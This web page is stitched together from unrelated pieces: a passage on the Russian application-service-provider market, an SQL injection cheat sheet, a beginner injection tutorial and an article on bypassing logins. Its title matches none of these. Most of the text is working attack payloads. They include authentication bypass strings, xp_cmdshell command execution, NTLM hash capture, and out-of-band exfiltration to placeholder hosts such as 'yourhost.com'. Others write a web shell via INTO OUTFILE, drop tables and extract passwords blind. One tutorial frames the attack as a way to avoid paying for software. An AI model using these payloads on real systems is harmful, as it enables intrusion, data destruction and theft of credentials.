Programming the Login control. How can you execute commands remotely using SQL injection

At present, it cannot be said that a full-fledged ASP market has formed in Russia. Russian users, for the most part, still do not perceive the ASP concept as useful for their business. Currently (at the time of writing this article) Russian market There is not a single successful example of full-scale implementation of the ASP model in a large enterprise. In fact, there is only hosting, individual implemented elements of the ASP model, companies that want to engage in ASP business, etc. That is, there is no implementation of the classical ASP model in Russia yet.

Now in the Russian market, the ASP model is applicable only to personalized email services (Mail.ru, Beep.ru, Freemail.ru, etc.) and specialized high-tech services (for example, banner and search engines, Internet statistics systems, etc.) . At the same time, renting mail services does not simply mean providing a personal mailbox to each individual user. Free email servers are widely used in the corporate sector by small businesses and private entrepreneurs. The main clients of such services are companies wishing to organize a corporate email service (or automate corporate document flow) or Internet providers (for example, portals Rambler.ru, Yandex.ru, etc.) wishing to organize a free Web-mail service for their audience.

There is a certain interest among Russian users in renting electronic stores (showcases on an electronic trading platform). And this is quite understandable. Since there are still very, very few successful examples of online trading in Russia (despite the loud statements of a number of companies about their impressive achievements), it seems most reasonable to spend an order of magnitude less money on renting an electronic store (than buying and maintaining it). If the project fails, it can be closed quite quickly and without significant losses. Renting ERP applications, which is widespread in the West, is now in Russia only at the stage of pilot projects.

The applications offered for rent include both relatively simple office suites (such as MS Office) and more complex applications (such as Lotus Smart Suite), as well as ERP systems (such as Navision Axapta).

Main problems and features of the Russian ASP market.

10.2 Problems in the Russian market.

Currently, the Russian ASP market lags behind the global ASP market by at least several years. The embryonic state of the Russian ASP market is caused by a number of problems existing on it. The main ones of these problems are:

1. The general lag of the Russian economy from the Western one and the underdevelopment of the technical infrastructure of enterprises. Until now, most Russian enterprises operate on technical infrastructure created decades ago. Currently, enterprises' investments in its modernization are still insufficient. And here the problem is rather the financial priorities of enterprises, because not all of them can invest the necessary funds in modernizing the technical infrastructure. Therefore, they have to solve their current problems using the existing infrastructure.

2.Low demand for ASP services. The population and corporate clients are not ready (for the most part) to pay for ASP services. While the average Russian consumer now simply has more pressing and vital spending priorities, corporate users do not yet take ASP services seriously.

3.Weakness of the legislative framework for the electronic market. Until a full package of laws is adopted, there is no need to talk about the development of the electronic market (including ASP).

4. Closedness of financial reporting of corporate clients (especially the most solvent enterprises).

5. Resistance from IT departments (both explicit and implicit) of large companies, which have to refocus on other tasks, reduce employees and IT budgets, etc.

6. A small number of applications that can be used in the ASP model for Russian enterprises.

7. The presence in the Russian labor market of a fairly large number of entry-level and mid-level IT specialists with relatively low salaries. After the 1998 crisis, the vast majority of salaries for IT specialists remained at the same post-crisis level. It is sometimes cheaper for small and medium-sized companies to maintain their own IT services than to pay for ASP services (unlike Western companies, where the situation is exactly the opposite).

SQL injection cheat sheet created for summary description technical features various types SQL injection vulnerabilities. The article presents the features of SQL injections in MySQL, Microsoft SQL Server, ORACLE And PostgreSQL.

0. Introduction
In this article you can find detailed technical information about different types of SQL injections. It can be useful for both experienced specialists and newcomers to the field of information security.

At the moment, the memo contains information only for MySQL, Microsoft SQL Server and some data for ORACLE and PostgreSQL. Sections contain injection syntax, explanations, and examples.

Symbols used:
M (MySQL);
S (SQL Server);
O (Oracle);
P (PostgreSQL);
+ (possibly on other databases);
* (special conditions required).

1. Line comments
Comments are generally useful for ignoring part of a query.
Syntax:
-- (SM): DROP sampletable;--
# (M): DROP sampletable;#
Example:
Username: admin" --
Generated query: SELECT * FROM members WHERE username = "admin"--" AND password = "password"
This will allow you to log in as the admin user, bypassing the password check.

2. Block comments
With their help, you can ignore part of the request, replace spaces, bypass blacklists, and determine the database version.
Syntax:
/*Comment*/ (SM):
DROP/*comment*/sampletable
DR/**/OP/*bypass_blacklist*/sampletable
SELECT/*replace_space*/password/**/FROM/**/Members

/*! MYSQL Special SQL */ (M): SELECT /*!32302 1/0, */ 1 FROM tablename
This is a special comment syntax for MySQL. It allows you to detect the MySQL version. This comment will only work in MySQL
Examples:
ID: 10; DROP TABLE members /*
We ignore the rest of the request, just like a line comment.

ID: /*!32302 10*/
you will get the same response as with ID=10 if MySQL version is higher than 3.23.02

ID: /*!32302 1/0, */
Generated query: SELECT /*!32302 1/0, */ 1 FROM tablename
A division by 0 error will occur if the server has a MySQL version higher than 3.23.02

3. Sequence of requests
Allows you to run more than one request at a time. This is useful at any point of injection.


Green - supported; black - not supported; gray - unknown.
Syntax:
; (S): SELECT * FROM members; DROP members--
One request ended, the next one began.
Example:
ID: 10;DROP members --
Generated query: SELECT * FROM products WHERE id = 10; DROP members--
This query will drop the members table after a normal query.

4. Conditional statements
We will receive a response to the request if the condition is met. This is one of the key points of blind injection. It also helps to accurately check simple things.
Syntax:
IF(condition, true-part, false-part) (M): SELECT IF(1=1,"true","false")
IF condition true-part ELSE false-part (S): IF (1=1) SELECT "true" ELSE SELECT "false"
IF condition THEN true-part; ELSE false-part; ENDIF; END; (O): IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); ENDIF; END;
SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P): SELECT CASE WHEN (1=1) THEN "A" ELSE "B" END;
example:
if ((select user) = "sa" OR (select user) = "dbo") select 1 else select 1/0 (S)
will throw a division by zero error if current user not "sa" or "dbo".

5. Using numbers
Used to bypass magic_quotes() and similar filters, including WAF.
Syntax:
0xHEX_NUMBER (SM):
SELECT CHAR(0x66) (S)
SELECT 0x5045 (this is not a number, but a string) (M)
SELECT 0x50 + 0x45 (now this is a number) (M)
Examples:
SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
Shows the contents of the c:\boot.ini file

6. String concatenation
String operations can help bypass filters or identify the database.
Syntax:
+ (S): SELECT login + "-" + password FROM members
|| (*MO): SELECT login || "-" || password FROM members
Will work if MySQL is running in ANSI mode. Otherwise MySQL will not accept it as logical operator and will return 0. It is better to use the CONCAT() function in MySQL.

CONCAT(str1, str2, str3, …) (M): SELECT CONCAT(login, password) FROM members

7. Strings without quotes
There are several ways to avoid using quotes in a query, such as using CHAR() (MS) and CONCAT() (M).
Syntax:
SELECT 0x457578 (M)

MySQL has a simple way to represent a string as a hex code:
SELECT CONCAT("0x",HEX("c:\\boot.ini"))

Returns the string “KLM”:
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
SELECT CHR(75)||CHR(76)||CHR(77) (O)
SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)

8. Converting strings and numbers.
Syntax:
ASCII() (SMP): SELECT ASCII("a")
Returns the ASCII code of the leftmost character. The function is used for blind injections.

CHAR() (SM): SELECT CHAR(64)
Translates an ASCII code into the corresponding character.

9. UNION operator
With the UNION operator you can query the intersection of tables. Basically, you can send a query that returns a value from another table.
Example:
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
This will merge the results from the news and members tables

10. Authentication Bypass (SMO+)
Examples:
admin" --
admin" #
admin"/*
"or 1=1--
" or 1=1#
" or 1=1/*
") or "1"="1--
") or ("1"="1--

11. Bypass MD5 Authentication
If the application first compares the username and then compares the md5 hash of the password, then you will need additional tricks to bypass the authentication. You can combine the results with a known password and its hash.
Example (MSP):
Username: admin
Password: 1234 " AND 1=0 UNION ALL SELECT "admin", "
= MD5(1234)

12. Error Based
12.1 Defining Columns Using HAVING BY(S)
Example:
In the same order
" HAVING 1=1 --
" GROUP BY table.columnfromerror1 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
" GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror3 HAVING 1=1 –
…………….
Continue until you stop getting errors.

12.2 Determining the number of columns using ORDER BY (MSO+)
Finding the number of columns using ORDER BY can be speeded up using UNION injection.
ORDER BY 1--
ORDER BY 2--
ORDER BY 3-
………………..
Continue until you receive an error message. This will indicate the number of columns.

13. Data type definition
Always use UNION with ALL.
To get rid of an unnecessary table entry, use -1 on any non-existing values ​​at the beginning of the query (if the injection is in the WHERE parameter). This is important if you can only retrieve one value at a time.
Use NULL in UNION injections instead of trying to guess a string, date, number, etc. But be careful when injecting blindly, because... you may be confusing the database error with the application itself. Some languages, such as ASP.NET, throw an error when using a NULL value (because the developers did not expect to see a null value in the username field)
Examples:
" union select sum(columntofind) from users-- (S) :
If you do not receive an error message, then the column is numeric.

SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL --
You can use CAST() or CONVERT()

11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
If there is no error, then the syntax is correct, i.e. MS SQL Server is used.

11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
If there is no error, then the first column is a number.

11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –
If an error appears, then the second column is not a number.

11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
If there is no error, then the second column is a string.
……………..

14. Simple insert (MSO+)
Example:
"; insert into users values(1, "hax0r", "coolpass", 9)/*

15. Collection of information
Syntax:
@@version (MS)
You can find out the database version and more detailed information.
Example:
INSERT INTO members(id, user, pass) VALUES(1, ""+SUBSTRING(@@version,1,10) ,10)

16. Complex insert (S)
Allows you to insert the contents of a file into a table. If you don't know the internal path of the web application, you can read the IIS metabase (IIS 6 only).
Syntax:
file(%systemroot%\system32\inetsrv\MetaBase.xml)
Then you can find the application paths in it.
Example:
1. Create table foo(string type varchar(8000))
2. Insert the contents of the file ‘c:\inetpub\wwwroot\login.asp’ into table foo
3. Drop the temporary table and repeat for another file.

17. BCP (S)
Writes down text file. This requires credentials.
Example:
bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

18. VBS, WSH in SQL Server (S)
You can use VBS, WSH scripts in SQL Server.
Example:
Username:"; declare @o int exec sp_oacreate "wscript.shell", @o out exec sp_oamethod @o, "run", NULL, "notepad.exe" –

19. Execute system commands (S)
A well-known trick, the feature is disabled by default in SQL Server 2005. You need administrator rights.
Example:
EXEC master.dbo.xp_cmdshell "cmd.exe dir c:"
EXEC master.dbo.xp_cmdshell "ping"

20. Special tables in SQL Server (S)
Examples:
Error messages: master..sysmessages
Linked servers: master..sysservers
Password SQL Server 2000: masters..sysxlogins
Password SQL Server 2005: sys.sql_logins

21. Multiple Stored Procedures for SQL Server (S)
Syntax:
Cmd Execute (xp_cmdshell)
Registry Stuff (xp_regread):
xp_regaddmultistring
xp_regdeletekey
xp_regdeletevalue
xp_regenumkeys
xp_regenumvalues
xp_regread
xp_regremovemmultistring
xp_regwrite
Managing Services (xp_servicecontrol)
Medias (xp_availablemedia)
ODBC Resources (xp_enumdsn)
Login mode (xp_loginconfig)
Creating Cab Files (xp_makecab)
Domain Enumeration (xp_ntsec_enumdomains)
Process Killing (PID required) (xp_terminate_process)
Add new procedure (sp_addextendedproc)
Write text file to a UNC or an internal path (sp_makewebtask)
Examples:
exec xp_regread HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\lanmanserver\parameters", "nullsessionshares"
exec xp_regenumvalues ​​HKEY_LOCAL_MACHINE, "SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities"
sp_addextendedproc 'xp_webserver', 'c:\temp\x.dll'
exec xp_webserver

22. MSSQL Bulk Notes
Examples:
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
DECLARE @result int; EXEC @result = xp_cmdshell "dir *.exe";IF (@result = 0) SELECT 0 ELSE SELECT 1/0
HOST_NAME()
IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

23. SQL injection in LIMIT (M) queries
Example:
SELECT id, product FROM test.test LIMIT 0,0 UNION ALL SELECT 1,"x"/*,10 ;
To bypass the LIMIT operator, you can use UNION or a comment.

24. Shutdown SQL Server (S)
Example:
";shutdown –

25. Enabling xp_cmdshell in SQL Server 2005
Syntax:
By default, xp_cmdshell and a couple of other potentially dangerous features are disabled in SQL Server 2005. If you have administrative rights, you can enable them.
EXEC sp_configure "show advanced options",1
RECONFIGURE
EXEC sp_configure "xp_cmdshell",1
RECONFIGURE

26. Searching for database structure in SQL Server (S)
Examples:
SELECT name FROM sysobjects WHERE xtype = "U"

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "tablenameforcolumnnames")
Getting column names

27. Moving Records (S)
Examples:
... WHERE users NOT IN ("First User", "Second User")
Use WHERE with NOT IN or NOT EXIST

SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)

SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id)
AS x, name from sysobjects o) as p where p.x=3) as int

Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype="U" and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = "U") as p where p.x=21

28. Quick way to extract data from Error Based SQL injection in SQL Server (S)
";BEGIN DECLARE @rt varchar(8000) SET @rd=":" SELECT @rd=@rd+" "+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = "MEMBERS") AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--

29. Searching for database structure in MySQL (M)
Examples:
SELECT table_name FROM information_schema.tables WHERE table_schema = "tablename"
Getting custom tables

SELECT table_name, column_name FROM information_schema.columns WHERE table_schema = "tablename"
Getting column names

30. Searching for database structure in Oracle (O)
Examples:
SELECT * FROM all_tables WHERE OWNER = "DATABASE_NAME"
Getting custom tables

SELECT * FROM all_col_comments WHERE TABLE_NAME = "TABLE"
Getting column names

31. Blind injections
In a quality application, you will not be able to see error messages. You will not be able to use the UNION operator and Error Based attacks. You will have to use blind SQL injection to extract the data. There are two types of blind injections.
Regular blind injection: you cannot see the results of requests on the page, but you can determine the result from the response or HTTP status.
Completely blind injection: You will not see any difference in output.
In normal blind injections you can use IF and WHERE statements, in fully blind injections you need to use some wait functions and compare response time. To do this, you can use WAIT FOR DELAY '0:0:10' in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL.
Example:
This example is based on a real-life operation of blind injection on SQL Server.

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>78--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>103--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>89--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>83--

TRUE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>79--

FALSE: SELECT ID, Username, Email FROM WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1 ,1)),0)>80--

Based on the last two queries, we know exactly the value of the first character in ascii - it is 80. This means that the first character is `P`. This way we can find out the names of the tables and their contents. Another way is to read the data bit by bit.

32. Completely blind injection
Use this method only in case of a truly blind injection. Be careful with wait times.
Syntax:
WAIT FOR DELAY "time" (S)
The function simply waits for the specified time without loading the processor.
Examples:
if (select user) = "sa" waitfor delay "0:0:10"
ProductID =1;waitfor delay "0:0:10"--
ProductID =1);waitfor delay "0:0:10"--
ProductID =1";waitfor delay "0:0:10"--
ProductID =1");waitfor delay "0:0:10"--
ProductID =1));waitfor delay "0:0:10"--
ProductID =1"));waitfor delay "0:0:10"--
Syntax:
BENCHMARK(howmanytimes, do this) (M)
Example:
IF EXISTS (SELECT * FROM users WHERE username = "root") BENCHMARK(1000000000,MD5(1))
We check for the presence of the root user.

IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))
Checking the existence of a table in MySQL
Syntax:
pg_sleep(seconds) (P)
Sleep for supplied seconds.

sleep(seconds) (M)
sleep for supplied seconds.

bms_pipe.receive_message (O)
sleep for supplied seconds.
Example:
(SELECT CASE WHEN (NVL(ASCII(SUBSTR(((INJECTION)),1,1)),0) = 100) THEN dbms_pipe.receive_message(("xyz"),10) ELSE dbms_pipe.receive_message(("xyz" ),1) END FROM dual)
(INJECTION) – your request.
If the condition is true, the response will be 10 seconds. Otherwise the response will be 1 second.

33. Useful MySQL Features
Syntax:
MD5()
SHA1()
PASSWORD()
ENCODE()
COMPRESS()
ROW_COUNT()
SCHEMA()
VERSION()

34. Second Order SQL Injections
Typically, you would insert an SQL injection query into a field and expect it to not be filtered out.
Example:
Name: " + (SELECT TOP 1 password FROM users) + "
Email: [email protected]
If the application uses the field name of a stored procedure or function, then you can use this for injection.

35. Using SQL Server to extract NTLM hashes
This attack will help you obtain the Windows user password of the target server through SQL Server if there is no access from outside. We can force SQL Server to connect to Windows via a UNC path and extract the NTLM session using special tools such as Cain & Abel.

Syntax:
UNC path: "\\YOURIPADDRESS\C$\x.txt"
36. Other examples of injections
SQL Server:
?vulnerableParam=1; SELECT * FROM OPENROWSET("SQLOLEDB", ((INJECTION))+".yourhost.com";"sa";"pwd", "SELECT 1")

?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = "\\"+((INJECTION))+".yourhost.com\\test.txt"; EXEC master..xp_dirtree @q
creates a DNS query to (INJECTION).yourhost.com

(INJECTION) - your request.
MySQL:
?vulnerableParam=-99 OR (SELECT LOAD_FILE(concat("\\\\",((INJECTION)), "yourhost.com\\")))
Creates an NBNS/DNS request to yourhost.com
?vulnerableParam=-99 OR (SELECT ((INJECTION)) INTO OUTFILE "\\\\yourhost.com\\share\\output.txt")
Writes data to your file
(INJECTION) - your request.
Oracle:
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ sniff.php?sniff="||((INJECTION))||"") FROM DUAL)
The sniffer will save the results
?vulnerableParam=(SELECT UTL_HTTP.REQUEST("http://host/ "||((INJECTION))||".html") FROM DUAL)
The results will be saved in HTTP logs
?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(((INJECTION))||".yourhost.com") FROM DUAL)

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(((INJECTION))||’.yourhost.com’,80) FROM DUAL)
You need to analyze DNS request traffic to yourhost.com
(INJECTION) - your request.

This material is an adaptive translation of the article SQL Injection Cheat Sheet.

Greetings, reader. Lately, I've been interested in Web security, and to some extent my work is related to this. Because More and more often I began to notice topics on various forums asking them to show how it all works, so I decided to write an article. The article will be aimed at those who have not encountered this, but would like to learn. There are relatively many articles on this topic on the Internet, but for beginners they are a little complicated. I will try to describe everything in clear language and detailed examples.

Preface

In order to understand this article, you don’t really need knowledge of the SQL language, but at least good patience and a little brain for memorization.

I believe that just reading the article will not be enough, because... we need living examples - as you know, practice in the process of memorization is never superfluous. Therefore, we will write vulnerable scripts and train on them.

What is SQL injection?
In simple terms, this is an attack on the database, which will allow you to perform some action that was not planned by the creator of the script. Example from life:

Father wrote in a note to his mother to give Vasya 100 rubles and put it on the table. Reworking this into a comic SQL language, we get:
TAKE 100 RUBLES FROM YOUR WALLET AND GIVE THEM TO Vasya

Since the father wrote the note poorly (Clumsy handwriting) and left it on the table, Vasya’s brother Petya saw it. Petya, being a hacker, added “OR Pete” there and the result was the following request:
TAKE 100 RUBLES FROM YOUR WALLET AND GIVE THEM TO Vasya OR Petya

Mom, after reading the note, decided that she gave money to Vasya yesterday and gave 100 rubles to Petya. Here is a simple example of SQL injection from life:) Without filtering the data (Mom could barely understand the handwriting), Petya made a profit.

Preparation
For practice, you will need an archive with the source scripts for this article. Download it and unpack it on the server. Also import the database and set the data in the file cfg.php

Search SQL injection

As you already understood, the injection comes from incoming data that is not filtered. The most common mistake is not filtering the transmitted ID. Well, roughly speaking, put quotes in all fields. Be it a GET/POST request or even a Cookie!

Numeric input parameter
For practice we need a script index1.php. As I said above, we insert quotes into the news ID.

Because Our request has no filtering:

$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";

The script will understand this as

SELECT * FROM news WHERE id=1"

And it will give us an error:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in C:\WebServ\domains\sqlinj\index1.php on line 16

If the error does not appear, there may be the following reasons:

1.SQL injection is not here - quotes are filtered, or it’s just worth converting to (int)
2. Error output is disabled.

If you still get an error - Hurray! We found the first type of SQL injection - Numeric input parameter.

String input parameter

We will send requests to index2.php. In this file, the request looks like:
$user = $_GET["user"]; $query = "SELECT * FROM news WHERE user="$user"";

Here we select news by username, and again, we do not filter.
Again we send a request with a quote:

It gave an error. OK! This means there is a vulnerability. For starters, that's enough for us - let's get to practice.

Let's take action

A little theory

You probably can’t wait to get something out of this other than mistakes. First, understand that the sign " -- " is considered a comment in SQL.

ATTENTION! There must be spaces before and after it. In the URL they are transmitted as %20

Everything that comes after the comment will be discarded. That is, the request:
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra

It will succeed. You can try this on the index2.php script by sending a request like this:

Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr

Learn the parameter UNION. In SQL language the keyword UNION used to combine the results of two SQL queries into a single table. That is, in order to pull out something we need from another table.

Let's take advantage of it

If the parameter is “Numeric”, then we do not need to send a quote in the request and naturally put a comment at the end. Let's go back to the script index1.php.

Let's turn to the script sqlinj/index1.php?id=1 UNION SELECT 1 . Our database query looks like this:
SELECT * FROM news WHERE id=1 UNION SELECT 1
And he gave us an error, because... to work with merging queries, we need the same number of fields.

Because We cannot influence their number in the first request, then we need to select their number in the second so that it is equal to the first.

Selecting the number of fields

Selection of fields is very simple, just send the following requests:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Error…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Error again!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
No error! This means the number of columns is 5.

GROUP BY
It often happens that there can be 20 or 40 or even 60 fields. So that we don’t have to sort through them every time, we use GROUP BY

If the request
sqlinj/index1.php?id=1 GROUP BY 2
didn’t show any errors, which means the number of fields is more than 2. Let’s try:

Sqlinj/index1.php?id=1 GROUP BY 8
Op, we see an error, it means the number of fields is less than 8.

If there is no error with GROUP BY 4, and with GROUP BY 6 there is an error, then the number of fields is 5

Defining Output Columns
To ensure that nothing is displayed to us from the first request, it is enough to substitute a non-existent ID, for example:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5


With this action, we determined which columns are displayed on the page. Now, in order to replace these numbers with the necessary information, you need to continue the request.

Data output

Let's say we know that the table still exists users in which the fields exist id, name And pass.
We need to get Information about the user with ID=1

Therefore, let's build the following query:

Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM users WHERE id=1
The script also continues to output

To do this, we will substitute the names of the fields in place of the numbers 1 and 3

Sqlinj/index1.php?id=-1 UNION SELECT name,2,pass,4,5 FROM users WHERE id=1
We got what we needed!

For "string input parameter" as in script index2.php you need to add a quotation mark at the beginning and a comment mark at the end. Example:
sqlinj/index2.php?user=-1" UNION SELECT name,2,pass,4,5 FROM users WHERE id=1 --%20

Read/Write Files

To read and write files, the database user must have FILE_PRIV rights.
Recording files
In fact, everything is very simple. To write a file, we will use the function OUTFILE.
sqlinj/index2.php?user=-1" UNION SELECT 1,2,3,4,5 INTO OUTFILE "1.php" --%20
Great, the file has been registered with us. Thus, We can fill the mini-shell:
sqlinj/index2.php?user=-1" UNION SELECT 1,"",3,4,5 INTO OUTFILE "1.php" --%20
Reading files
Reading files is even easier than writing. It is enough to simply use the function LOAD_FILE, for the place of the field that we select:

Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20

Thus, we have read the previous written file.

Methods of protection

Protecting yourself is even easier than exploiting a vulnerability. Just filter the data. If you are passing numbers, use
$id = (int) $_GET["id"];
As user malroc suggested. Protect yourself using PDO or prepared statements.

Instead of completing

This is where I want to finish my first part about “SQL injection for beginners”. In the second we will look at more severe examples of injections. Try writing vulnerable scripts and executing queries yourself.
And remember, do not trust any user of your site.

Tags: Add tags

SQL Injection quite a good opportunity for a hacker to get
access to the server. And with a little effort, he
still gets it :)

Coder inside

Nowadays, working with databases is supported
almost all programming languages, these include BASIC, C++, Java, PERL, PHP, Assembler and even JavaScript! And these programs are called nothing more than DBMS - database management systems. Databases are often used to solve financial problems,
accounting, personnel organization, but they have also found their application on the Internet.

Databases are often used to write WEB applications. Their use is most appropriate for storing user registration data, session identifiers, organizing searches, as well as other tasks requiring more processing
amount of data. To access the database, server technologies are used: PHP, PERL, ASP, etc. This is where the fun begins. When on the server
all patches are installed and the firewall blocks all ports except port 80 or when authentication is required to access some data, a hacker can use SQL Injection to hack. The essence of this attack is to exploit an error at the intersection of WEB technologies and SQL. The fact is that many web pages for processing user data form a special SQL database request. Careless use of this technique can lead to quite interesting results...

SQL Injection

To explain the attack, let’s imagine that you went to the site to download one very important tool and notice with horror that only a registered user can do this, and registration, of course, costs money 🙂 You don’t want to give away your last earned money, but you can’t do it without the program! It's time to remember how
access databases SQL. For example, checking your login and password in PHP may look like this:

$result=mysql_db_query($db,"SELECT * FROM $table WHERE user="$login" AND
pass="$password"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
if ($num_rows!=0)
{
// AUTHENTICATION OK
}
else
{
// AUTHENTICATION ERROR
}

I added two comments, "AUTHENTICATION OK" - I should replace it
go to the code that will be executed if the password and login are correct. Another “AUTHENTICATION ERROR” is a place where the code that will be executed if they are incorrect will be described. If you fill out the form, the request will look like “http://www.server.com?login=user&password=31337”, where www.server.com is the name
the server we are trying to connect to. We found what we were looking for, and therefore we will return to work again SQL. So, if you must specify a login and password for authorization, then the generated SQL the request will look like this:

SELECT * FROM users WHERE login="user" AND
password="31337"

This means something like this: return to me all records from the users database whose login is “user” and password is “31337”. If such a record exists, then the user is registered, but if not, then not... But under certain circumstances, everything can be corrected. This refers to the situation when the application does not check the contents of the transmitted data or does not check it completely for the presence SQL instructions. In this example, two fields login and password are checked, but if you specify “31337′ AND email=’ as the password [email protected]”(without double quotes), then the query will turn out a little different:

SELECT * FROM users WHERE login="user" AND password="31337" AND
email=" [email protected]"

And if the email field exists, this condition will also be checked. If you remember the basics of Boolean algebra, it comes to your mind that in addition to the “and” operation, there is also an “or”, and since their use is supported by SQL, you can
in the described way, add a condition that always returns true. To do this, you must specify “user’ OR 1=1—” as the login, in which case the request will take the form:

SELECT * FROM users WHERE login="user" OR 1=1--" AND
password="31337"

First you should know that “—” means the end of the request, and everything after “—”
will not be processed! It turns out that we made a request:

SELECT * FROM users WHERE login="user" OR 1=1

As you can see, we added the condition “1=1”, which means the verification criterion will be “if the login is ‘user’ or 1=1”, but 1 always equals 1 (the only exception can be Dani Shepovalov’s arithmetic :)). To test our suspicions
Enter “http://www.server.com?login=user or 1=1—&password=31337” in the address bar. This leads to the fact that it does not matter which login we specified, but
especially the password! And we are in the matrix... oh, in the system and can calmly download what we need.

But this is all in theory. In practice, we do not know how the request is formed, what data is transmitted and in what sequence. Therefore, it is necessary to specify “user’ OR 1=1—” for all fields. You should also check the submission form for hidden fields. In HTML they are described as " " If any exist, save the page and change the values ​​of these fields. The values ​​contained in them are often forgotten to be checked for the presence of SQL statements. But for everything to work, you should specify the full path to the script that processes this request in the form (tag “FORM”) for the “ACTION” parameter.

But it is not always known how the request is formed,
The previous example could be formed in the following ways:

SELECT * FROM users WHERE (login="user" AND password="31337")
SELECT * FROM users WHERE login="user" AND password="31337"
SELECT * FROM users WHERE login=user AND password=31337

In this case, you can try the following options:

‘OR 1=1—
» OR 1=1—
OR 1=1—
‘ OR ‘a’=’a
"OR "a"="a
‘) OR (‘a’=’a
OR '1'='1'

It all depends on the purpose of the script and on the programmer. Since each person tends to do everything in his own way, it is quite possible that the programmer will not choose the easiest option. Therefore, you should not immediately
give up if you get rejected. Necessary
try as many options as possible...

Password detection

Bypassing authorization is not bad, but very often the hole you are using is closed, and everything that was available to you is lost.
This is to be expected if the programmer is not a fool
Over time it will close all the loopholes. You can easily get rid of such situations by taking care of it in advance. The correct solution may be to guess the password using
analysis of authentication results. First, let's try to guess the password, to do this, enter its location:

‘OR password>’a

If we are told that authorization has been passed, then the password
does not begin with the letter “a”, but with one of the following on the list. Let's move on and substitute
place "a", next "b", "c", "d", "e"... etc. until they tell us that the password is not correct. Let this process stop at the symbol “x”, in which case two options for the development of the situation are created: the password is found or the password starts with this symbol. To check the first option, write the password location:

‘OR password=’x

and if the password is accepted and you are allowed in, then you guessed the password! Well, no, then you should select the second character,
exactly the same, from the beginning. Check for two characters
need the same. In the end, you will receive a password, and you will look for a login in the same way :)
